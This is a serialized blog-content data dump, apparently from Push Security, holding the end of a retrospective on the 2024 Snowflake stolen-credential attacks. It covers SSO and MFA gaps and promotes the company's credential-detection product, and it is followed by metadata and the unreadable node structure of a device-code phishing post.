online.",{"data":62059,"content":62063,"nodeType":912},{"target":62060},{"sys":62061},{"id":62062,"type":909,"linkType":910},"4D0gjt5oJLNKJH8GzjP8Je",[],{"data":62065,"content":62066,"nodeType":972},{},[],{"data":62068,"content":62069,"nodeType":981},{},[62070],{"data":62071,"marks":62072,"value":62074,"nodeType":865},{},[62073],{"type":926},"Key takeaways from the Snowflake attacks",{"data":62076,"content":62077,"nodeType":1317},{},[62078],{"data":62079,"marks":62080,"value":62082,"nodeType":865},{},[62081],{"type":926},"Securing your IdP accounts is not enough",{"data":62084,"content":62085,"nodeType":866},{},[62086],{"data":62087,"marks":62088,"value":62089,"nodeType":865},{},[],"SSO can help reduce your identity attack surface, but it's not feasible to get every workforce identity behind it.",{"data":62091,"content":62092,"nodeType":1616},{},[62093,62116,62137,62172],{"data":62094,"content":62095,"nodeType":1570},{},[62096],{"data":62097,"content":62098,"nodeType":866},{},[62099,62103,62112],{"data":62100,"marks":62101,"value":62102,"nodeType":865},{},[],"Only 1 in 3 apps support SAML SSO, and those that offer it often charge more for it; the “",{"data":62104,"content":62106,"nodeType":889},{"uri":62105},"https://ssotax.org/",[62107],{"data":62108,"marks":62109,"value":62111,"nodeType":865},{},[62110],{"type":943},"SSO tax",{"data":62113,"marks":62114,"value":62115,"nodeType":865},{},[],"”.",{"data":62117,"content":62118,"nodeType":1570},{},[62119],{"data":62120,"content":62121,"nodeType":866},{},[62122,62126,62134],{"data":62123,"marks":62124,"value":62125,"nodeType":865},{},[],"Many apps are self-adopted by employees, leaving security teams unaware and unable to enforce SSO.  The typical organization has ",{"data":62127,"content":62128,"nodeType":889},{"uri":6698},[62129],{"data":62130,"marks":62131,"value":62133,"nodeType":865},{},[62132],{"type":943},"hundreds of apps and thousands of unmanaged identities outside of SSO",{"data":62135,"marks":62136,"value":1615,"nodeType":865},{},[],{"data":62138,"content":62139,"nodeType":1570},{},[62140],{"data":62141,"content":62142,"nodeType":866},{},[62143,62147,62155,62159,62168],{"data":62144,"marks":62145,"value":62146,"nodeType":865},{},[],"Most apps do not prevent users from creating additional \"",{"data":62148,"content":62149,"nodeType":889},{"uri":6710},[62150],{"data":62151,"marks":62152,"value":62154,"nodeType":865},{},[62153],{"type":943},"ghost login",{"data":62156,"marks":62157,"value":62158,"nodeType":865},{},[],"\" methods outside of SSO (especially by default), accounting for around ",{"data":62160,"content":62162,"nodeType":889},{"uri":62161},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/#id-identity-configurations-and-how-they-can-be-exploited_id-many-accounts-lack-the-most-basic-protections",[62163],{"data":62164,"marks":62165,"value":62167,"nodeType":865},{},[62166],{"type":943},"10% of all identities",{"data":62169,"marks":62170,"value":62171,"nodeType":865},{},[]," observed by Push. ",{"data":62173,"content":62174,"nodeType":1570},{},[62175],{"data":62176,"content":62177,"nodeType":866},{},[62178,62182,62190],{"data":62179,"marks":62180,"value":62181,"nodeType":865},{},[],"In total, we identified that ",{"data":62183,"content":62184,"nodeType":889},{"uri":6698},[62185],{"data":62186,"marks":62187,"value":62189,"nodeType":865},{},[62188],{"type":943},"37% (2 in 5) accounts have a password login set with no MFA",{"data":62191,"marks":62192,"value":62193,"nodeType":865},{},[],", while 9% have no MFA AND a weak, breached, or reused password.",{"data":62195,"content":62196,"nodeType":866},{},[62197],{"data":62198,"marks":62199,"value":62200,"nodeType":865},{},[],"So, relying on locked-down IdP accounts and maximising the use of SSO is an important pillar of an effective identity security strategy, but there will always be gaps. Unless you recognize this, you may be blindsided by attackers finding them before you do. ",{"data":62202,"content":62203,"nodeType":1317},{},[62204],{"data":62205,"marks":62206,"value":62208,"nodeType":865},{},[62207],{"type":926},"The threat of infostealers and stolen credentials needs to be taken seriously",{"data":62210,"content":62211,"nodeType":866},{},[62212],{"data":62213,"marks":62214,"value":62215,"nodeType":865},{},[],"Breached credentials appearing online is not always seen as a top priority for security teams, particularly when there’s so much noise from all of the outdated or simply erroneous findings (anyone that’s ever subscribed to a credential TI feed knows the pain of this). ",{"data":62217,"content":62218,"nodeType":866},{},[62219],{"data":62220,"marks":62221,"value":62222,"nodeType":865},{},[],"But Snowflake serves as a stark reminder that despite all the false positives, stolen credentials are sometimes valid — and when weaponized at-scale they can be a powerful tool for attackers. ",{"data":62224,"content":62228,"nodeType":912},{"target":62225},{"sys":62226},{"id":62227,"type":909,"linkType":910},"4EODpwKsqNivpvP2yMtZCd",[],{"data":62230,"content":62231,"nodeType":1317},{},[62232],{"data":62233,"marks":62234,"value":62236,"nodeType":865},{},[62235],{"type":926},"Don’t rely on third-parties to protect your identities for you",{"data":62238,"content":62239,"nodeType":866},{},[62240],{"data":62241,"marks":62242,"value":62243,"nodeType":865},{},[],"Snowflake came under fire following the attacks for not enabling MFA by default, or giving security teams sufficient tools to deal with the incident. ",{"data":62245,"content":62246,"nodeType":866},{},[62247],{"data":62248,"marks":62249,"value":62250,"nodeType":865},{},[],"This is perhaps justifiable, but is hardly the exception. Very few apps enforce MFA by default or provide a global MFA enforcement mechanism. Most don’t even provide audit logs (and when they do, the scope of logging is pretty limited). And we regularly encounter apps that don’t give you any information about account configuration as an admin — like which accounts have MFA, or the login methods that they’re using (e.g. SSO via SAML, SSO via OIDC, password, which IdPs are being used…) which is essential information to be able to secure your identity attack surface. ",{"data":62252,"content":62253,"nodeType":866},{},[62254],{"data":62255,"marks":62256,"value":62257,"nodeType":865},{},[],"Yes, it would be great if app vendors put security first and made controls available by default, for all customers (not just the premium ones). But in the absence of an industrywide shift toward security-first product development, it’s important that organizations don’t just point the finger at service providers — and take matters into their own hands when it comes to securing their user identities. ",{"data":62259,"content":62260,"nodeType":1317},{},[62261],{"data":62262,"marks":62263,"value":62265,"nodeType":865},{},[62264],{"type":926},"This isn’t a specific Snowflake problem — it could have been any application",{"data":62267,"content":62268,"nodeType":866},{},[62269],{"data":62270,"marks":62271,"value":62272,"nodeType":865},{},[],"While Snowflake was admittedly a high-value target because of the data it collected, apps with sensitive data (or with integrations connecting them to data collected in adjacent apps) are not in short supply. ",{"data":62274,"content":62275,"nodeType":866},{},[62276],{"data":62277,"marks":62278,"value":62279,"nodeType":865},{},[],"If we accept that many other apps are similarly desirable targets, then we should also consider that it’s unlikely that Snowflake is the only app that has valid credentials sitting around on the internet, waiting to be weaponized by criminals. Equally, it’s not the only app that doesn’t require mandatory MFA for user accounts, as we discussed above. The next Snowflake is likely to lurk in the same breached datasets, possibly even using the same credentials.",{"data":62281,"content":62282,"nodeType":866},{},[62283],{"data":62284,"marks":62285,"value":62286,"nodeType":865},{},[],"There’s been a clear increase in the number of infostealer and stolen credential related breaches and news stories since Snowflake as attackers wise up to the potential opportunity and start seeing the dollar signs. It would be naive to think that this was a one off event — the next Snowflake is probably not too far away. ",{"data":62288,"content":62289,"nodeType":866},{},[62290],{"data":62291,"marks":62292,"value":62293,"nodeType":865},{},[],"For a deep-dive analysis of the impact of Snowflake, check out our on-demand webinar from earlier this year.",{"data":62295,"content":62299,"nodeType":912},{"target":62296},{"sys":62297},{"id":62298,"type":909,"linkType":910},"7LkU5DqE9HJ1PQu9BTg6Mw",[],{"data":62301,"content":62302,"nodeType":972},{},[],{"data":62304,"content":62305,"nodeType":981},{},[62306],{"data":62307,"marks":62308,"value":62310,"nodeType":865},{},[62309],{"type":926},"How to protect yourself from the next Snowflake using Push",{"data":62312,"content":62313,"nodeType":866},{},[62314],{"data":62315,"marks":62316,"value":62317,"nodeType":865},{},[],"Organizations looking to reduce their exposure to account takeover using stolen credentials should look to:",{"data":62319,"content":62320,"nodeType":1616},{},[62321,62331,62341],{"data":62322,"content":62323,"nodeType":1570},{},[62324],{"data":62325,"content":62326,"nodeType":866},{},[62327],{"data":62328,"marks":62329,"value":62330,"nodeType":865},{},[],"Identify the apps being used across the business and locate vulnerable workforce identities using weak, breached, or reused credentials, and missing MFA. Where SSO is the preferred login method, local username & password logins should ideally be removed. ",{"data":62332,"content":62333,"nodeType":1570},{},[62334],{"data":62335,"content":62336,"nodeType":866},{},[62337],{"data":62338,"marks":62339,"value":62340,"nodeType":865},{},[],"Where credentials appear in third-party data breaches, verify where they are still valid and ensure that the credentials are changed. ",{"data":62342,"content":62343,"nodeType":1570},{},[62344],{"data":62345,"content":62346,"nodeType":866},{},[62347],{"data":62348,"marks":62349,"value":62350,"nodeType":865},{},[],"Detect unauthorized access to workforce identities where sessions are initiated or resumed from unusual or unexpected locations. It should be noted that while this is a fairly common feature for larger enterprise cloud platforms with configurable access control policies, this is not typically possible for most SaaS applications.  ",{"data":62352,"content":62353,"nodeType":866},{},[62354],{"data":62355,"marks":62356,"value":62357,"nodeType":865},{},[],"All of these use cases can be achieved using Push. The Push browser extension detects all logins performed in employee browsers, capturing granular information about the login method and MFA types used, and enriching this data by integrating with your preferred IdP.",{"data":62359,"content":62360,"nodeType":866},{},[62361,62365,62373],{"data":62362,"marks":62363,"value":62364,"nodeType":865},{},[],"Push’s ",{"data":62366,"content":62368,"nodeType":889},{"uri":62367},"https://pushsecurity.com/blog/verified-stolen-credential-detection",[62369],{"data":62370,"marks":62371,"value":62372,"nodeType":865},{},[],"verified stolen credential detection feature",{"data":62374,"marks":62375,"value":62376,"nodeType":865},{},[]," compares a k-anonymized hash of user passwords observed with stolen credential TI feeds to cut through the noise and identify where stolen credentials appearing online represent a genuine vulnerability.   ",{"data":62378,"content":62379,"nodeType":866},{},[62380,62384,62393],{"data":62381,"marks":62382,"value":62383,"nodeType":865},{},[],"On top of this, all logins made in browsers protected by the Push extension, across every app, are verified by ",{"data":62385,"content":62387,"nodeType":889},{"uri":62386},"https://pushsecurity.com/blog/introducing-session-token-theft-detection-why-browser-is-best/",[62388],{"data":62389,"marks":62390,"value":62392,"nodeType":865},{},[62391],{"type":943},"adding a unique marker to the user agent string of the session",{"data":62394,"marks":62395,"value":62396,"nodeType":865},{},[],", which will then appear in your IdP logs. This means that any session occurring outside of the Push-protected estate can be flagged to your security team via SIEM alert — including where an attacker uses stolen credentials to log into an app from a browser without the Push extension running. ",{"data":62398,"content":62402,"nodeType":912},{"target":62399},{"sys":62400},{"id":62401,"type":909,"linkType":910},"3tqVk7Vr7pYLOEVukIJM2g",[],{"data":62404,"content":62405,"nodeType":866},{},[62406],{"data":62407,"marks":62408,"value":21,"nodeType":865},{},[],"Snowflake: Looking back on 2024’s landmark security event","165 Snowflake customers were targeted by criminals using stolen credentials from infostealer infections, impacting hundreds of millions of people. ","2024-11-29T00:00:00.000Z","snowflake-retro",{"items":62414},[62415],{"sys":62416,"name":7796},{"id":7795},{"items":62418},[62419],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":62420},{"url":7804},"browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches","blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches",{"json":62424},{"data":62425,"content":62426,"nodeType":1382},{},[62427],{"data":62428,"content":62429,"nodeType":866},{},[62430],{"data":62431,"marks":62432,"value":62433,"nodeType":865},{},[],"Browser sync attacks result in business credentials being compromised via personal account and device breaches. Here's what you need to know. ",{"id":62435,"publishedAt":62436},"4Mq5IZ2E0h9HRT3YkkHaLU","2026-08-12T11:52:59.142Z",{"items":62438},[62439,62441],{"sys":62440,"name":342},{"id":4642},{"sys":62442,"name":7796},{"id":7795},{"items":62444},[62445,62447,62449,62451,62453,62455,62457,62459,62461,62463,62465,62467,62469,62471],{"sys":62446,"name":279,"slug":280,"tier":31},{"id":276},{"sys":62448,"name":297,"slug":298,"tier":31},{"id":294},{"sys":62450,"name":413,"slug":414,"tier":31},{"id":410},{"sys":62452,"name":342,"slug":343,"tier":31},{"id":339},{"sys":62454,"name":642,"slug":643,"tier":31},{"id":639},{"sys":62456,"name":422,"slug":423,"tier":45},{"id":419},{"sys":62458,"name":333,"slug":334,"tier":45},{"id":330},{"sys":62460,"name":466,"slug":467,"tier":45},{"id":463},{"sys":62462,"name":457,"slug":458,"tier":45},{"id":454},{"sys":62464,"name":502,"slug":503,"tier":45},{"id":499},{"sys":62466,"name":288,"slug":289,"tier":45},{"id":285},{"sys":62468,"name":528,"slug":529,"tier":45},{"id":525},{"sys":62470,"name":395,"slug":396,"tier":45},{"id":392},{"sys":62472,"name":571,"slug":572,"tier":45},{"id":568},"ZsXQRkqi5W2ZtXmydvB1CbxG4M10tCO76RfYE_qu3J0",{"id":62475,"title":11409,"authorsCollection":62476,"content":62482,"extension":228,"faqItemsCollection":65687,"faqTitle":59,"featured":6,"hashTags":59,"meta":65689,"metaTitle":65690,"ogImage":59,"postType":42959,"publishedDate":11411,"relatedBlogPostsCollection":65691,"slug":361,"stem":67997,"subtitle":59,"summary":67998,"synopsis":11410,"sys":68009,"tagsCollection":68011,"topicsCollection":68017,"__hash__":68053},"blog/blog/device-code-phishing.json",{"items":62477},[62478],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":62479,"profilePicture":62481},[62480],"https://www.linkedin.com/in/luke-jennings-042b5619b/",{"url":11425},{"json":62483,"links":65187},{"data":62484,"content":62485,"nodeType":1382},{},[62486,62491,62507,62523,62529,62534,62540,62546,62549,62556,62561,62627,62643,62648,62654,62750,62755,62758,62765,62771,62776,62779,62786,62822,62827,62833,62839,62845,62851,62867,62872,62877,62882,62887,62892,62897,62902,62908,63138,63141,63148,63275,63280,63283,63290,63321,63448,63453,63456,63463,63602,63607,63610,63617,63622,63756,63761,63766,63769,63776,63915,63920,63923,63930,64070,64075,64078,64085,64176,64181,64184,64191,64282,64287,64290,64297,64302,64429,64434,64437,64444,64491,64496,64499,64506,64639,64644,64647,64654,64781,64786,64789,64796,64806,64812,64817,64822,64828,64845,64858,64863,64866,64873,64880,64897,64914,64919,64925,64931,64938,64944,64950,64956,64963,64969,65014,65019,65022,65029,65035,65041,65078,65083,65089,65092,65099,65105,65111,65127,65132,65138,65145,65151],{"data":62487,"content":62490,"nodeType":912},{"target":62488},{"sys":62489},{"id":8420,"type":909,"linkType":910},[],{"data":62492,"content":62493,"nodeType":866},{},[62494,62497,62504],{"data":62495,"marks":62496,"value":8428,"nodeType":865},{},[],{"data":62498,"content":62499,"nodeType":889},{"uri":8431},[62500],{"data":62501,"marks":62502,"value":8437,"nodeType":865},{},[62503],{"type":943},{"data":62505,"marks":62506,"value":8441,"nodeType":865},{},[],{"data":62508,"content":62509,"nodeType":866},{},[62510,62513,62520],{"data":62511,"marks":62512,"value":21,"nodeType":865},{},[],{"data":62514,"content":62515,"nodeType":889},{"uri":8450},[62516],{"data":62517,"marks":62518,"value":360,"nodeType":865},{},[62519],{"type":943},{"data":62521,"marks":62522,"value":8459,"nodeType":865},{},[],{"data":62524,"content":62525,"nodeType":866},{},[62526],{"data":62527,"marks":62528,"value":8466,"nodeType":865},{},[],{"data":62530,"content":62533,"nodeType":912},{"target":62531},{"sys":62532},{"id":8471,"type":909,"linkType":910},[],{"data":62535,"content":62536,"nodeType":866},{},[62537],{"data":62538,"marks":62539,"value":8479,"nodeType":865},{},[],{"data":62541,"content":62542,"nodeType":866},{},[62543],{"data":62544,"marks":62545,"value":8486,"nodeType":865},{},[],{"data":62547,"content":62548,"nodeType":972},{},[],{"data":62550,"content":62551,"nodeType":981},{},[62552],{"data":62553,"marks":62554,"value":8497,"nodeType":865},{},[62555],{"type":926},{"data":62557,"content":62560,"nodeType":912},{"target":62558},{"sys":62559},{"id":8502,"type":909,"linkType":910},[],{"data":62562,"content":62563,"nodeType":866},{},[62564,62567,62574,62577,62584,62587,62594,62597,62604,62607,62614,62617,62624],{"data":62565,"marks":62566,"value":8510,"nodeType":865},{},[],{"data":62568,"content":62569,"nodeType":889},{"uri":8513},[62570],{"data":62571,"marks":62572,"value":8519,"nodeType":865},{},[62573],{"type":943},{"data":62575,"marks":62576,"value":8523,"nodeType":865},{},[],{"data":62578,"content":62579,"nodeType":889},{"uri":8526},[62580],{"data":62581,"marks":62582,"value":8532,"nodeType":865},{},[62583],{"type":943},{"data":62585,"marks":62586,"value":8536,"nodeType":865},{},[],{"data":62588,"content":62589,"nodeType":889},{"uri":8539},[62590],{"data":62591,"marks":62592,"value":8545,"nodeType":865},{},[62593],{"type":943},{"data":62595,"marks":62596,"value":8549,"nodeType":865},{},[],{"data":62598,"content":62599,"nodeType":889},{"uri":8552},[62600],{"data":62601,"marks":62602,"value":8558,"nodeType":865},{},[62603],{"type":943},{"data":62605,"marks":62606,"value":8562,"nodeType":865},{},[],{"data":62608,"content":62609,"nodeType":889},{"uri":8565},[62610],{"data":62611,"marks":62612,"value":8571,"nodeType":865},{},[62613],{"type":943},{"data":62615,"marks":62616,"value":4988,"nodeType":865},{},[],{"data":62618,"content":62619,"nodeType":889},{"uri":8577},[62620],{"data":62621,"marks":62622,"value":8583,"nodeType":865},{},[62623],{"type":943},{"data":62625,"marks":62626,"value":8587,"nodeType":865},{},[],{"data":62628,"content":62629,"nodeType":866},{},[62630,62633,62640],{"data":62631,"marks":62632,"value":8594,"nodeType":865},{},[],{"data":62634,"content":62635,"nodeType":889},{"uri":8597},[62636],{"data":62637,"marks":62638,"value":8603,"nodeType":865},{},[62639],{"type":943},{"data":62641,"marks":62642,"value":8607,"nodeType":865},{},[],{"data":62644,"content":62647,"nodeType":912},{"target":62645},{"sys":62646},{"id":8612,"type":909,"linkType":910},[],{"data":62649,"content":62650,"nodeType":866},{},[62651],{"data":62652,"marks":62653,"value":8620,"nodeType":865},{},[],{"data":62655,"content":62656,"nodeType":1616},{},[62657,62684,62702],{"data":62658,"content":62659,"nodeType":1570},{},[62660],{"data":62661,"content":62662,"nodeType":866},{},[62663,62666,62672,62675,62681],{"data":62664,"marks":62665,"value":8633,"nodeType":865},{},[],{"data":62667,"content":62668,"nodeType":889},{"uri":8636},[62669],{"data":62670,"marks":62671,"value":8641,"nodeType":865},{},[],{"data":62673,"marks":62674,"value":4988,"nodeType":865},{},[],{"data":62676,"content":62677,"nodeType":889},{"uri":8647},[62678],{"data":62679,"marks":62680,"value":8652,"nodeType":865},{},[],{"data":62682,"marks":62683,"value":8656,"nodeType":865},{},[],{"data":62685,"content":62686,"nodeType":1570},{},[62687],{"data":62688,"content":62689,"nodeType":866},{},[62690,62693,62699],{"data":62691,"marks":62692,"value":8666,"nodeType":865},{},[],{"data":62694,"content":62695,"nodeType":889},{"uri":4991},[62696],{"data":62697,"marks":62698,"value":8673,"nodeType":865},{},[],{"data":62700,"marks":62701,"value":8677,"nodeType":865},{},[],{"data":62703,"content":62704,"nodeType":1570},{},[62705],{"data":62706,"content":62707,"nodeType":866},{},[62708,62711,62717,62720,62727,62730,62737,62740,62747],{"data":62709,"marks":62710,"value":8687,"nodeType":865},{},[],{"data":62712,"content":62713,"nodeType":889},{"uri":8690},[62714],{"data":62715,"marks":62716,"value":8695,"nodeType":865},{},[],{"data":62718,"marks":62719,"value":8699,"nodeType":865},{},[],{"data":62721,"content":62722,"nodeType":889},{"uri":8702},[62723],{"data":62724,"marks":62725,"value":8708,"nodeType":865},{},[62726],{"type":943},{"data":62728,"marks":62729,"value":3476,"nodeType":865},{},[],{"data":62731,"content":62732,"nodeType":889},{"uri":8714},[62733],{"data":62734,"marks":62735,"value":8720,"nodeType":865},{},[62736],{"type":943},{"data":62738,"marks":62739,"value":8724,"nodeType":865},{},[],{"data":62741,"content":62742,"nodeType":889},{"uri":5817},[62743],{"data":62744,"marks":62745,"value":8732,"nodeType":865},{},[62746],{"type":943},{"data":62748,"marks":62749,"value":8736,"nodeType":865},{},[],{"data":62751,"content":62754,"nodeType":912},{"target":62752},{"sys":62753},{"id":8741,"type":909,"linkType":910},[],{"data":62756,"content":62757,"nodeType":972},{},[],{"data":62759,"content":62760,"nodeType":981},{},[62761],{"data":62762,"marks":62763,"value":8753,"nodeType":865},{},[62764],{"type":926},{"data":62766,"content":62767,"nodeType":866},{},[62768],{"data":62769,"marks":62770,"value":8760,"nodeType":865},{},[],{"data":62772,"content":62775,"nodeType":912},{"target":62773},{"sys":62774},{"id":8765,"type":909,"linkType":910},[],{"data":62777,"content":62778,"nodeType":972},{},[],{"data":62780,"content":62781,"nodeType":1317},{},[62782],{"data":62783,"marks":62784,"value":8777,"nodeType":865},{},[62785],{"type":926},{"data":62787,"content":62788,"nodeType":866},{},[62789,62792,62799,62802,62809,62812,62819],{"data":62790,"marks":62791,"value":21,"nodeType":865},{},[],{"data":62793,"content":62794,"nodeType":889},{"uri":5817},[62795],{"data":62796,"marks":62797,"value":8732,"nodeType":865},{},[62798],{"type":943},{"data":62800,"marks":62801,"value":2717,"nodeType":865},{},[],{"data":62803,"content":62804,"nodeType":889},{"uri":8796},[62805],{"data":62806,"marks":62807,"value":8802,"nodeType":865},{},[62808],{"type":943},{"data":62810,"marks":62811,"value":8806,"nodeType":865},{},[],{"data":62813,"content":62814,"nodeType":889},{"uri":8714},[62815],{"data":62816,"marks":62817,"value":8814,"nodeType":865},{},[62818],{"type":943},{"data":62820,"marks":62821,"value":8818,"nodeType":865},{},[],{"data":62823,"content":62826,"nodeType":912},{"target":62824},{"sys":62825},{"id":8823,"type":909,"linkType":910},[],{"data":62828,"content":62829,"nodeType":866},{},[62830],{"data":62831,"marks":62832,"value":8831,"nodeType":865},{},[],{"data":62834,"content":62835,"nodeType":866},{},[62836],{"data":62837,"marks":62838,"value":8838,"nodeType":865},{},[],{"data":62840,"content":62841,"nodeType":866},{},[62842],{"data":62843,"marks":62844,"value":8845,"nodeType":865},{},[],{"data":62846,"content":62847,"nodeType":866},{},[62848],{"data":62849,"marks":62850,"value":8852,"nodeType":865},{},[],{"data":62852,"content":62853,"nodeType":866},{},[62854,62857,62864],{"data":62855,"marks":62856,"value":8859,"nodeType":865},{},[],{"data":62858,"content":62859,"nodeType":889},{"uri":8862},[62860],{"data":62861,"marks":62862,"value":8868,"nodeType":865},{},[62863],{"type":943},{"data":62865,"marks":62866,"value":8872,"nodeType":865},{},[],{"data":62868,"content":62871,"nodeType":912},{"target":62869},{"sys":62870},{"id":8877,"type":909,"linkType":910},[],{"data":62873,"content":62876,"nodeType":912},{"target":62874},{"sys":62875},{"id":8883,"type":909,"linkType":910},[],{"data":62878,"content":62881,"nodeType":912},{"target":62879},{"sys":62880},{"id":8889,"type":909,"linkType":910},[],{"data":62883,"content":62886,"nodeType":912},{"target":62884},{"sys":62885},{"id":8895,"type":909,"linkType":910},[],{"data":62888,"content":62891,"nodeType":912},{"target":62889},{"sys":62890},{"id":8901,"type":909,"linkType":910},[],{"data":62893,"content":62896,"nodeType":912},{"target":62894},{"sys":62895},{"id":8907,"type":909,"linkType":910},[],{"data":62898,"content":62901,"nodeType":912},{"target":62899},{"sys":62900},{"id":8913,"type":909,"linkType":910},[],{"data":62903,"content":62904,"nodeType":866},{},[62905],{"data":62906,"marks":62907,"value":21,"nodeType":865},{},[],{"data":62909,"content":62910,"nodeType":2927},{},[62911,62933,63004,63050,63072],{"data":62912,"content":62913,"nodeType":2400},{},[62914,62924],{"data":62915,"content":62916,"nodeType":2366},{},[62917],{"data":62918,"content":62919,"nodeType":866},{},[62920],{"data":62921,"marks":62922,"value":8937,"nodeType":865},{},[62923],{"type":926},{"data":62925,"content":62926,"nodeType":2366},{},[62927],{"data":62928,"content":62929,"nodeType":866},{},[62930],{"data":62931,"marks":62932,"value":8947,"nodeType":865},{},[],{"data":62934,"content":62935,"nodeType":2400},{},[62936,62946],{"data":62937,"content":62938,"nodeType":2366},{},[62939],{"data":62940,"content":62941,"nodeType":866},{},[62942],{"data":62943,"marks":62944,"value":8961,"nodeType":865},{},[62945],{"type":926},{"data":62947,"content":62948,"nodeType":2366},{},[62949,62973],{"data":62950,"content":62951,"nodeType":866},{},[62952,62956,62959,62963,62966,62970],{"data":62953,"marks":62954,"value":8972,"nodeType":865},{},[62955],{"type":926},{"data":62957,"marks":62958,"value":8976,"nodeType":865},{},[],{"data":62960,"marks":62961,"value":8981,"nodeType":865},{},[62962],{"type":926},{"data":62964,"marks":62965,"value":8985,"nodeType":865},{},[],{"data":62967,"marks":62968,"value":8990,"nodeType":865},{},[62969],{"type":926},{"data":62971,"marks":62972,"value":8994,"nodeType":865},{},[],{"data":62974,"content":62975,"nodeType":866},{},[62976,62980,62983,62987,62990,62994,62997,63001],{"data":62977,"marks":62978,"value":9002,"nodeType":865},{},[62979],{"type":926},{"data":62981,"marks":62982,"value":2688,"nodeType":865},{},[],{"data":62984,"marks":62985,"value":9010,"nodeType":865},{},[62986],{"type":926},{"data":62988,"marks":62989,"value":9014,"nodeType":865},{},[],{"data":62991,"marks":62992,"value":8981,"nodeType":865},{},[62993],{"type":926},{"data":62995,"marks":62996,"value":9022,"nodeType":865},{},[],{"data":62998,"marks":62999,"value":8990,"nodeType":865},{},[63000],{"type":926},{"data":63002,"marks":63003,"value":9030,"nodeType":865},{},[],{"data":63005,"content":63006,"nodeType":2400},{},[63007,63017],{"data":63008,"content":63009,"nodeType":2366},{},[63010],{"data":63011,"content":63012,"nodeType":866},{},[63013],{"data":63014,"marks":63015,"value":9044,"nodeType":865},{},[63016],{"type":926},{"data":63018,"content":63019,"nodeType":2366},{},[63020,63026,63032,63038,63044],{"data":63021,"content":63022,"nodeType":866},{},[63023],{"data":63024,"marks":63025,"value":9054,"nodeType":865},{},[],{"data":63027,"content":63028,"nodeType":866},{},[63029],{"data":63030,"marks":63031,"value":9061,"nodeType":865},{},[],{"data":63033,"content":63034,"nodeType":866},{},[63035],{"data":63036,"marks":63037,"value":9068,"nodeType":865},{},[],{"data":63039,"content":63040,"nodeType":866},{},[63041],{"data":63042,"marks":63043,"value":9075,"nodeType":865},{},[],{"data":63045,"content":63046,"nodeType":866},{},[63047],{"data":63048,"marks":63049,"value":9082,"nodeType":865},{},[],{"data":63051,"content":63052,"nodeType":2400},{},[63053,63063],{"data":63054,"content":63055,"nodeType":2366},{},[63056],{"data":63057,"content":63058,"nodeType":866},{},[63059],{"data":63060,"marks":63061,"value":9096,"nodeType":865},{},[63062],{"type":926},{"data":63064,"content":63065,"nodeType":2366},{},[63066],{"data":63067,"content":63068,"nodeType":866},{},[63069],{"data":63070,"marks":63071,"value":9106,"nodeType":865},{},[],{"data":63073,"content":63074,"nodeType":2400},{},[63075,63085],{"data":63076,"content":63077,"nodeType":2366},{},[63078],{"data":63079,"content":63080,"nodeType":866},{},[63081],{"data":63082,"marks":63083,"value":9120,"nodeType":865},{},[63084],{"type":926},{"data":63086,"content":63087,"nodeType":2366},{},[63088,63098,63108,63118,63128],{"data":63089,"content":63090,"nodeType":866},{},[63091,63095],{"data":63092,"marks":63093,"value":9131,"nodeType":865},{},[63094],{"type":926},{"data":63096,"marks":63097,"value":9135,"nodeType":865},{},[],{"data":63099,"content":63100,"nodeType":866},{},[63101,63105],{"data":63102,"marks":63103,"value":9143,"nodeType":865},{},[63104],{"type":926},{"data":63106,"marks":63107,"value":9147,"nodeType":865},{},[],{"data":63109,"content":63110,"nodeType":866},{},[63111,63115],{"data":63112,"marks":63113,"value":9155,"nodeType":865},{},[63114],{"type":926},{"data":63116,"marks":63117,"value":9159,"nodeType":865},{},[],{"data":63119,"content":63120,"nodeType":866},{},[63121,63125],{"data":63122,"marks":63123,"value":9167,"nodeType":865},{},[63124],{"type":926},{"data":63126,"marks":63127,"value":9171,"nodeType":865},{},[],{"data":63129,"content":63130,"nodeType":866},{},[63131,63135],{"data":63132,"marks":63133,"value":9179,"nodeType":865},{},[63134],{"type":926},{"data":63136,"marks":63137,"value":9183,"nodeType":865},{},[],{"data":63139,"content":63140,"nodeType":972},{},[],{"data":63142,"content":63143,"nodeType":1317},{},[63144],{"data":63145,"marks":63146,"value":9194,"nodeType":865},{},[63147],{"type":926},{"data":63149,"content":63150,"nodeType":2927},{},[63151,63173,63209,63231,63253],{"data":63152,"content":63153,"nodeType":2400},{},[63154,63164],{"data":63155,"content":63156,"nodeType":2366},{},[63157],{"data":63158,"content":63159,"nodeType":866},{},[63160],{"data":63161,"marks":63162,"value":8937,"nodeType":865},{},[63163],{"type":926},{"data":63165,"content":63166,"nodeType":2366},{},[63167],{"data":63168,"content":63169,"nodeType":866},{},[63170],{"data":63171,"marks":63172,"value":9220,"nodeType":865},{},[],{"data":63174,"content":63175,"nodeType":2400},{},[63176,63186],{"data":63177,"content":63178,"nodeType":2366},{},[63179],{"data":63180,"content":63181,"nodeType":866},{},[63182],{"data":63183,"marks":63184,"value":8961,"nodeType":865},{},[63185],{"type":926},{"data":63187,"content":63188,"nodeType":2366},{},[63189,63199],{"data":63190,"content":63191,"nodeType":866},{},[63192,63196],{"data":63193,"marks":63194,"value":9244,"nodeType":865},{},[63195],{"type":926},{"data":63197,"marks":63198,"value":9248,"nodeType":865},{},[],{"data":63200,"content":63201,"nodeType":866},{},[63202,63206],{"data":63203,"marks":63204,"value":9002,"nodeType":865},{},[63205],{"type":926},{"data":63207,"marks":63208,"value":9259,"nodeType":865},{},[],{"data":63210,"content":63211,"nodeType":2400},{},[63212,63222],{"data":63213,"content":63214,"nodeType":2366},{},[63215],{"data":63216,"content":63217,"nodeType":866},{},[63218],{"data":63219,"marks":63220,"value":9044,"nodeType":865},{},[63221],{"type":926},{"data":63223,"content":63224,"nodeType":2366},{},[63225],{"data":63226,"content":63227,"nodeType":866},{},[63228],{"data":63229,"marks":63230,"value":9282,"nodeType":865},{},[],{"data":63232,"content":63233,"nodeType":2400},{},[63234,63244],{"data":63235,"content":63236,"nodeType":2366},{},[63237],{"data":63238,"content":63239,"nodeType":866},{},[63240],{"data":63241,"marks":63242,"value":9096,"nodeType":865},{},[63243],{"type":926},{"data":63245,"content":63246,"nodeType":2366},{},[63247],{"data":63248,"content":63249,"nodeType":866},{},[63250],{"data":63251,"marks":63252,"value":9305,"nodeType":865},{},[],{"data":63254,"content":63255,"nodeType":2400},{},[63256,63266],{"data":63257,